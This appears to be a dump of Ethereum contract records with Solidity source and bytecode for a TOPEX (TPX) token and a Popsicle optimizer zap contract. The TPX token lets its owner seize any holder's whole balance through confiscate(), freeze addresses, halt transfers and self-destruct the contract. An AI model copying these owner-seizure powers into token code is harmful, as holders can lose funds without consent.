allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract TPXToken is MintableToken, Destructible { string public name = 'TOPEX Token'; string public symbol = 'TPX'; uint8 public decimals = 18; uint256 public maxSupply = 200000000 ether; // max allowable minting. bool public transferDisabled = true; // disable transfer init. event Confiscate(address indexed offender, uint256 value); // empty constructor constructor() public {} /* * the real reason for quarantined addresses are for those who are * mistakenly sent the TPX tokens to the wrong address. We can disable * the usage of the TPX tokens here. */ mapping(address => bool) quarantined; // quarantined addresses mapping(address => bool) gratuity; // locked addresses for owners modifier canTransfer() { if (msg.sender == owner) { _; } else { require(!transferDisabled); require(quarantined[msg.sender] == false); // default bool is false require(gratuity[msg.sender] == false); // default bool is false _; } } /* * Allow the transfer of tokens to happen once ICO finished */ function allowTransfers() onlyOwner public returns (bool) { transferDisabled = false; return true; } function disallowTransfers() onlyOwner public returns (bool) { transferDisabled = true; return true; } function quarantineAddress(address _addr) onlyOwner public returns (bool) { quarantined[_addr] = true; return true; } function unQuarantineAddress(address _addr) onlyOwner public returns (bool) { quarantined[_addr] = false; return true; } function lockAddress(address _addr) onlyOwner public returns (bool) { gratuity[_addr] = true; return true; } function unlockAddress(address _addr) onlyOwner public returns (bool) { gratuity[_addr] = false; return true; } /** * This is confiscate the money that is sent to the wrong address accidentally. * the confiscated value can then be transferred to the righful owner. This is * especially important during ICO where some are *still* using Exchanger wallet * address, instead of their personal address. */ function confiscate(address _offender) onlyOwner public returns (bool) { uint256 all = balances[_offender]; require(all > 0); balances[_offender] = balances[_offender].sub(all); balances[msg.sender] = balances[msg.sender].add(all); emit Confiscate(_offender, all); return true; } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply <= maxSupply); return super.mint(_to, _amount); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) canTransfer public returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) canTransfer public returns (bool) { return super.approve(_spender, _value); } /** * @dev transfer Bounty tokens for a specified addresses * @param _toRecipients The addresses to transfer to. * @param _toValues The amounts to be transferred. */ function transferBountyTokens(address[] _toRecipients, uint256[] _toValues) onlyOwner canTransfer public returns (bool) { /* Ensures _toRecipients array length is equal to _toValues array length */ assert(_toRecipients.length == _toValues.length); for (uint i = 0; i < _toRecipients.length; i++) transfer(_toRecipients[i], _toValues[i]); } }
0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461016e57806306fdde0314610197578063095ea7b314610221578063121e81221461024557806318160ddd14610266578063212c81571461028d5780632185810b146102a257806323b872dd146102b7578063313ce567146102e157806334a90d021461030c57806340c10f191461032d57806344f252a014610351578063661884631461037257806370a08231146103965780637d64bcb4146103b75780637e42be1a146103cc57806383197ef0146103ed578063892dfdf6146104045780638da5cb5b1461041957806395d89b411461044a578063a9059cbb1461045f578063b7eb5e0a14610483578063c2e46379146104a4578063d5abeb0114610532578063d73dd62314610547578063dd62ed3e1461056b578063f2fde38b14610592578063f5074f41146105b3575b600080fd5b34801561017a57600080fd5b506101836105d4565b604080519115158252519081900360200190f35b3480156101a357600080fd5b506101ac6105e4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e65781810151838201526020016101ce565b50505050905090810190601f1680156102135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022d57600080fd5b50610183600160a060020a0360043516602435610672565b34801561025157600080fd5b50610183600160a060020a03600435166106f6565b34801561027257600080fd5b5061027b610735565b60408051918252519081900360200190f35b34801561029957600080fd5b5061018361073b565b3480156102ae57600080fd5b50610183610769565b3480156102c357600080fd5b50610183600160a060020a0360043581169060243516604435610793565b3480156102ed57600080fd5b506102f661081a565b6040805160ff9092168252519081900360200190f35b34801561031857600080fd5b50610183600160a060020a0360043516610823565b34801561033957600080fd5b50610183600160a060020a0360043516602435610866565b34801561035d57600080fd5b50610183600160a060020a03600435166108b2565b34801561037e57600080fd5b50610183600160a060020a03600435166024356109a9565b3480156103a257600080fd5b5061027b600160a060020a0360043516610a9b565b3480156103c357600080fd5b50610183610ab6565b3480156103d857600080fd5b50610183600160a060020a0360043516610b3a565b3480156103f957600080fd5b50610402610b7d565b005b34801561041057600080fd5b50610183610ba2565b34801561042557600080fd5b5061042e610bab565b60408051600160a060020a039092168252519081900360200190f35b34801561045657600080fd5b506101ac610bba565b34801561046b57600080fd5b50610183600160a060020a0360043516602435610c15565b34801561048f57600080fd5b50610183600160a060020a0360043516610c89565b3480156104b057600080fd5b506040805160206004803580820135838102808601850190965280855261018395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610cc89650505050505050565b34801561053e57600080fd5b5061027b610dd1565b34801561055357600080fd5b50610183600160a060020a0360043516602435610dd7565b34801561057757600080fd5b5061027b600160a060020a0360043581169060243516610e70565b34801561059e57600080fd5b50610402600160a060020a0360043516610e9b565b3480156105bf57600080fd5b50610402600160a060020a0360043516610f30565b60035460a060020a900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561066a5780601f1061063f5761010080835404028352916020019161066a565b820191906000526020600020905b81548152906001019060200180831161064d57829003601f168201915b505050505081565b600354600090600160a060020a0316331415610699576106928383610f53565b90506106f0565b60085460ff16156106a957600080fd5b3360009081526009602052604090205460ff16156106c657600080fd5b336000908152600a602052604090205460ff16156106e357600080fd5b6106ed8383610f53565b90505b92915050565b600354600090600160a060020a0316331461071057600080fd5b50600160a060020a03166000908152600960205260409020805460ff19169055600190565b60005481565b600354600090600160a060020a0316331461075557600080fd5b506008805460ff1916600190811790915590565b600354600090600160a060020a0316331461078357600080fd5b506008805460ff19169055600190565b600354600090600160a060020a03163314156107bb576107b4848484610fb9565b9050610813565b60085460ff16156107cb57600080fd5b3360009081526009602052604090205460ff16156107e857600080fd5b336000908152600a602052604090205460ff161561080557600080fd5b610810848484610fb9565b90505b9392505050565b60065460ff1681565b600354600090600160a060020a0316331461083d57600080fd5b50600160a060020a03166000908152600a60205260409020805460ff1916600190811790915590565b600354600090600160a060020a0316331461088057600080fd5b60035460a060020a900460ff161561089757600080fd5b60075460005411156108a857600080fd5b6106ed8383611132565b6003546000908190600160a060020a031633146108ce57600080fd5b50600160a060020a0382166000908152600160205260408120549081116108f457600080fd5b600160a060020a03831660009081526001602052604090205461091d908263ffffffff61123d16565b600160a060020a03841660009081526001602052604080822092909255338152205461094f908263ffffffff61124f16565b336000908152600160209081526040918290209290925580518381529051600160a060020a038616927f81ccb678f2c1ba2d46abedd3960e55fc3e9637021da4d383c834c4b91a64ccc1928290030190a250600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156109fe57336000908152600260209081526040808320600160a060020a0388168452909152812055610a33565b610a0e818463ffffffff61123d16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a03163314610ad057600080fd5b60035460a060020a900460ff1615610ae757600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600090600160a060020a03163314610b5457600080fd5b50600160a060020a03166000908152600960205260409020805460ff1916600190811790915590565b600354600160a060020a03163314610b9457600080fd5b600354600160a060020a0316ff5b60085460ff1681565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561066a5780601f1061063f5761010080835404028352916020019161066a565b600354600090600160a060020a0316331415610c3557610692838361125e565b60085460ff1615610c4557600080fd5b3360009081526009602052604090205460ff1615610c6257600080fd5b336000908152600a602052604090205460ff1615610c7f57600080fd5b6106ed838361125e565b600354600090600160a060020a03163314610ca357600080fd5b50600160a060020a03166000908152600a60205260409020805460ff19169055600190565b6003546000908190600160a060020a03163314610ce457600080fd5b600354600160a060020a0316331415610d55578251845114610d0257fe5b5060005b8351811015610d5057610d478482815181101515610d2057fe5b906020019060200201518483815181101515610d3857fe5b90602001906020020151610c15565b50600101610d06565b610a94565b60085460ff1615610d6557600080fd5b3360009081526009602052604090205460ff1615610d8257600080fd5b336000908152600a602052604090205460ff1615610d9f57600080fd5b8251845114610daa57fe5b5060005b8351811015610a9457610dc88482815181101515610d2057fe5b50600101610dae565b60075481565b336000908152600260209081526040808320600160a060020a0386168452909152812054610e0b908363ffffffff61124f16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610eb257600080fd5b600160a060020a0381161515610ec757600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600160a060020a03163314610f4757600080fd5b80600160a060020a0316ff5b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610fd057600080fd5b600160a060020a038416600090815260016020526040902054821115610ff557600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561102557600080fd5b600160a060020a03841660009081526001602052604090205461104e908363ffffffff61123d16565b600160a060020a038086166000908152600160205260408082209390935590851681522054611083908363ffffffff61124f16565b600160a060020a0380851660009081526001602090815260408083209490945591871681526002825282812033825290915220546110c7908363ffffffff61123d16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a0316331461114c57600080fd5b60035460a060020a900460ff161561116357600080fd5b600054611176908363ffffffff61124f16565b6000908155600160a060020a0384168152600160205260409020546111a1908363ffffffff61124f16565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b60008282111561124957fe5b50900390565b60008282018381101561081357fe5b6000600160a060020a038316151561127557600080fd5b3360009081526001602052604090205482111561129157600080fd5b336000908152600160205260409020546112b1908363ffffffff61123d16565b3360009081526001602052604080822092909255600160a060020a038516815220546112e3908363ffffffff61124f16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001929150505600a165627a7a723058200eeb00e6f355e6412755d9face1345f8885022f97eee850047d3ddabad7054260029
{"success": true, "error": null, "results": {}}
6,953
0x29d14c09bd4596d5d9e252a2ac1dded1d7eca32c
/** *Submitted for verification at Etherscan.io on 2021-11-05 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; interface IPopsicleV3Optimizer { function token0() external view returns (address); function token1() external view returns (address); function deposit( uint256 amount0Desired, uint256 amount1Desired, address to ) external returns ( uint256 shares, uint256 amount0, uint256 amount1 ); } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external ; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external; function transferFrom(address sender, address recipient, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IChi is IERC20 { function mint(uint256 value) external; function free(uint256 value) external returns (uint256 freed); function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); } interface IGasDiscountExtension { function calculateGas(uint256 gasUsed, uint256 flags, uint256 calldataLength) external view returns (IChi, uint256); } interface IAggregationExecutor is IGasDiscountExtension { function callBytes(bytes calldata data) external payable; // 0xd9c45357 } library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; } interface IRouter { struct SwapDescription { IERC20 srcToken; IERC20 dstToken; address srcReceiver; address dstReceiver; uint256 amount; uint256 minReturnAmount; uint256 flags; bytes permit; } function swap(IAggregationExecutor caller, SwapDescription calldata desc, bytes calldata data) external payable returns (uint256 returnAmount, uint256 gasLeft); function unoswap(IERC20 srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata ) external payable returns(uint256 returnAmount); } contract OptimizerZap { IRouter constant router = IRouter(0x11111112542D85B3EF69AE05771c2dCCff4fAa26); address constant eth = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public immutable DAO; struct Cache { uint256 amount0; uint256 amount1; uint256 return0Amount; uint256 return1Amount; } struct TokenData { bool IsUno; IAggregationExecutor caller; IRouter.SwapDescription desc; bytes data; bytes32[] pools; } constructor(address _DAO) { DAO = _DAO; } function DepositInEth(address optimizer, address to, TokenData calldata tokenData) external payable { uint value = msg.value; address token0 = IPopsicleV3Optimizer(optimizer).token0(); address token1 = IPopsicleV3Optimizer(optimizer).token1(); IWETH9(weth).deposit{value: value}(); _approveToken(weth, optimizer, value); require(token0 == weth || token1 == weth, "BO"); if (token0 == weth) { require(token1 == address(tokenData.desc.srcToken), "TNA"); TransferHelper.safeTransferFrom(token1, msg.sender, address(this), tokenData.desc.amount); _approveToken(token1, optimizer, tokenData.desc.amount); (, uint256 amount0,uint256 amount1) = IPopsicleV3Optimizer(optimizer).deposit(value, tokenData.desc.amount, to); require(value >= amount0, "UA0"); require(tokenData.desc.amount >= amount1, "UA1"); } else { require(token0 == address(tokenData.desc.srcToken), "TNA"); TransferHelper.safeTransferFrom(token0, msg.sender, address(this), tokenData.desc.amount); _approveToken(token0, optimizer, tokenData.desc.amount); (, uint256 amount0,uint256 amount1) =IPopsicleV3Optimizer(optimizer).deposit(tokenData.desc.amount, value, to); require(tokenData.desc.amount >= amount0, "UA0"); require(value >= amount1, "UA1"); } } function ZapIn(address tokenIn, uint amount, address optimizer, address to, TokenData calldata token0Data, TokenData calldata token1Data) external payable { require(optimizer != address(0)); require(to != address(0)); address token0 = IPopsicleV3Optimizer(optimizer).token0(); address token1 = IPopsicleV3Optimizer(optimizer).token1(); require(tokenIn == address(token0Data.desc.srcToken), "NAT0"); require(tokenIn == address(token1Data.desc.srcToken), "NAT1"); require(token0 == address(token0Data.desc.dstToken), "IT0"); require(token1 == address(token1Data.desc.dstToken), "IT1"); require(token0Data.desc.amount + token1Data.desc.amount <= amount, "IA"); Cache memory cache; if (tokenIn == eth || tokenIn == address(0)) { require(amount <= msg.value, "BA"); if (token0 == weth) { IWETH9(weth).deposit{value: token0Data.desc.amount}(); _approveToken(weth, optimizer, token0Data.desc.amount); if (token1Data.IsUno) { cache.return1Amount = router.unoswap{value: token1Data.desc.amount}(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools); } else { (cache.return1Amount, ) = router.swap{value: token1Data.desc.amount}(token1Data.caller, token1Data.desc, token1Data.data); } _approveToken(token1, optimizer, cache.return1Amount); (, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(token0Data.desc.amount, cache.return1Amount, to); cache.return0Amount = token0Data.desc.amount-cache.amount0; cache.return1Amount = cache.return1Amount-cache.amount1; if (cache.return0Amount > 0 ) TransferHelper.safeTransfer(token0, to, cache.return0Amount); if (cache.return1Amount > 0 ) TransferHelper.safeTransfer(token1, to, cache.return1Amount); } else if (token1 == weth) { IWETH9(weth).deposit{value: token1Data.desc.amount}(); _approveToken(weth, optimizer, token1Data.desc.amount); if (token0Data.IsUno) { cache.return0Amount = router.unoswap{value: token0Data.desc.amount}(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools); } else { (cache.return0Amount, ) = router.swap{value: token0Data.desc.amount}(token0Data.caller, token0Data.desc, token0Data.data); } _approveToken(token0, optimizer, cache.return0Amount); (, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, token1Data.desc.amount, to); cache.return0Amount = cache.return0Amount-cache.amount0; cache.return1Amount = token1Data.desc.amount-cache.amount1; if (cache.return0Amount > 0 ) TransferHelper.safeTransfer(token0, to, cache.return0Amount); if (cache.return1Amount > 0 ) TransferHelper.safeTransfer(token1, to, cache.return1Amount); } else { if (token0Data.IsUno) { cache.return0Amount = router.unoswap{value: token0Data.desc.amount}(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools); } else { (cache.return0Amount, ) = router.swap{value: token0Data.desc.amount}(token0Data.caller, token0Data.desc, token0Data.data); } if (token1Data.IsUno) { cache.return1Amount = router.unoswap{value: token1Data.desc.amount}(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools); } else { (cache.return1Amount, ) = router.swap{value: token1Data.desc.amount}(token1Data.caller, token1Data.desc, token1Data.data); } _approveToken(token0, optimizer, cache.return0Amount); _approveToken(token1, optimizer, cache.return1Amount); (, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, cache.return1Amount, to); cache.return0Amount = cache.return0Amount-cache.amount0; cache.return1Amount = cache.return1Amount-cache.amount1; if (cache.return0Amount > 0 ) TransferHelper.safeTransfer(token0, to, cache.return0Amount); if (cache.return1Amount > 0 ) TransferHelper.safeTransfer(token1, to, cache.return1Amount); } return; } else { TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amount); _approveToken(tokenIn, address(router), amount); if (tokenIn == token0) { cache.return0Amount = token0Data.desc.amount; } else { if (token0Data.IsUno) { cache.return0Amount = router.unoswap(IERC20(tokenIn), token0Data.desc.amount, token0Data.desc.minReturnAmount, token0Data.pools); } else { (cache.return0Amount, ) = router.swap(token0Data.caller, token0Data.desc, token0Data.data); } } if (tokenIn == token1) { cache.return1Amount = token1Data.desc.amount; } else { if (token1Data.IsUno) { cache.return1Amount = router.unoswap(IERC20(tokenIn), token1Data.desc.amount, token1Data.desc.minReturnAmount, token1Data.pools); } else { (cache.return1Amount, ) = router.swap(token1Data.caller, token1Data.desc, token1Data.data); } } _approveToken(token0, optimizer, cache.return0Amount); _approveToken(token1, optimizer, cache.return1Amount); (, cache.amount0, cache.amount1) = IPopsicleV3Optimizer(optimizer).deposit(cache.return0Amount, cache.return1Amount, to); cache.return0Amount = cache.return0Amount-cache.amount0; cache.return1Amount = cache.return1Amount-cache.amount1; if (cache.return0Amount > 0 ) TransferHelper.safeTransfer(token0, to, cache.return0Amount); if (cache.return1Amount > 0 ) TransferHelper.safeTransfer(token1, to, cache.return1Amount); return; } } function _approveToken( address token, address spender, uint256 amount ) internal { if (IERC20(token).allowance(address(this), spender) > 0) IERC20(token).approve(spender, 0); IERC20(token).approve(spender, amount); } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens to the DAO * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { TransferHelper.safeTransfer(_token, DAO, IERC20( _token ).balanceOf( address(this))); return true; } function refundETH() external returns ( bool ) { if (address(this).balance > 0) TransferHelper.safeTransferETH(DAO, address(this).balance); return true; } }
0x60806040526004361061005a5760003560e01c806398fabd3a1161004357806398fabd3a1461009f5780639db005c5146100c1578063b4abccba146100d45761005a565b806312210e8a1461005f578063663f10c81461008a575b600080fd5b34801561006b57600080fd5b506100746100f4565b6040516100819190612488565b60405180910390f35b61009d6100983660046121ad565b61012c565b005b3480156100ab57600080fd5b506100b461075f565b60405161008191906123e9565b61009d6100cf36600461220d565b610783565b3480156100e057600080fd5b506100746100ef36600461216e565b611b24565b60004715610126576101267f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b37347611be2565b50600190565b600034905060008473ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561017957600080fd5b505afa15801561018d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b19190612191565b905060008573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156101fb57600080fd5b505afa15801561020f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102339190612191565b905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1663d0e30db0846040518263ffffffff1660e01b81526004016000604051808303818588803b15801561029157600080fd5b505af11580156102a5573d6000803e3d6000fd5b50505050506102c973c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28785611c9b565b73ffffffffffffffffffffffffffffffffffffffff821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2148061032a575073ffffffffffffffffffffffffffffffffffffffff811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2145b610369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612859565b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21415610583576103a860408501856129c2565b6103b690602081019061216e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461041a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612890565b61043681333061042d60408901896129c2565b60800135611e5b565b610451818761044860408801886129c2565b60800135611c9b565b60008073ffffffffffffffffffffffffffffffffffffffff8816638dbdbe6d8661047e60408a018a6129c2565b608001358a6040518463ffffffff1660e01b81526004016104a1939291906128c7565b606060405180830381600087803b1580156104bb57600080fd5b505af11580156104cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f39190612321565b925092505081851015610532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103609061266a565b8061054060408801886129c2565b60800135101561057c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612746565b5050610757565b61059060408501856129c2565b61059e90602081019061216e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610602576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612890565b61061582333061042d60408901896129c2565b610627828761044860408801886129c2565b60008073ffffffffffffffffffffffffffffffffffffffff8816638dbdbe6d61065360408901896129c2565b60800135878a6040518463ffffffff1660e01b8152600401610677939291906128c7565b606060405180830381600087803b15801561069157600080fd5b505af11580156106a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c99190612321565b90935091508290506106de60408801886129c2565b60800135101561071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103609061266a565b80851015610754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612746565b50505b505050505050565b7f000000000000000000000000e9fb0c2206b53d3e76c88da58790f7fe9a45b37381565b73ffffffffffffffffffffffffffffffffffffffff84166107a357600080fd5b73ffffffffffffffffffffffffffffffffffffffff83166107c357600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561080b57600080fd5b505afa15801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190612191565b905060008573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561088d57600080fd5b505afa1580156108a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c59190612191565b90506108d460408501856129c2565b6108e290602081019061216e565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612633565b61095360408401846129c2565b61096190602081019061216e565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146109c5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906126a1565b6109d260408501856129c2565b6109e390604081019060200161216e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610a47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036090612822565b610a5460408401846129c2565b610a6590604081019060200161216e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906125fc565b86610ad760408501856129c2565b60800135610ae860408701876129c2565b60800135011115610b25576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103609061277d565b610b2d612124565b73ffffffffffffffffffffffffffffffffffffffff891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1480610b79575073ffffffffffffffffffffffffffffffffffffffff8916155b156117465734881115610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610360906127eb565b73ffffffffffffffffffffffffffffffffffffffff831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21415610f4f5773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc263d0e30db0610c1160408801886129c2565b608001356040518263ffffffff1660e01b81526004016000604051808303818588803b158015610c4057600080fd5b505af1158015610c54573d6000803e3d6000fd5b5050505050610c8273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28887806040019061044891906129c2565b610c8f60208501856122ae565b15610d6b577311111112542d85b3ef69ae05771c2dccff4faa26632e95b6c8610cbb60408701876129c2565b608001358b610ccd60408901896129c2565b60800135610cde60408a018a6129c2565b60a00135610cef60808b018b6128f3565b6040518763ffffffff1660e01b8152600401610d0f95949392919061257e565b6020604051808303818588803b158015610d2857600080fd5b505af1158015610d3c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d6191906122e6565b6060820152610e37565b7311111112542d85b3ef69ae05771c2dccff4faa26637c025200610d9260408701876129c2565b60800135610da6604088016020890161216e565b610db360408901896129c2565b610dc060608a018a61295f565b6040518663ffffffff1660e01b8152600401610ddf9493929190612493565b60408051808303818588803b158015610df757600080fd5b505af1158015610e0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e3091906122fe565b5060608201525b610e4682888360600151611c9b565b73ffffffffffffffffffffffffffffffffffffffff8716638dbdbe6d610e6f60408801886129c2565b608001358360600151896040518463ffffffff1660e01b8152600401610e97939291906128c7565b606060405180830381600087803b158015610eb157600080fd5b505af1158015610ec5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee99190612321565b60208401528083529050610f0060408701876129c2565b608001350360408201819052602082015160608301805191909103905215610f3157610f3183878360400151611fbd565b606081015115610f4a57610f4a82878360600151611fbd565b61173e565b73ffffffffffffffffffffffffffffffffffffffff821673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214156112cc5773c02aaa39b223fe8d0a0e5c4f27ead9083c756cc263d0e30db0610fa8604087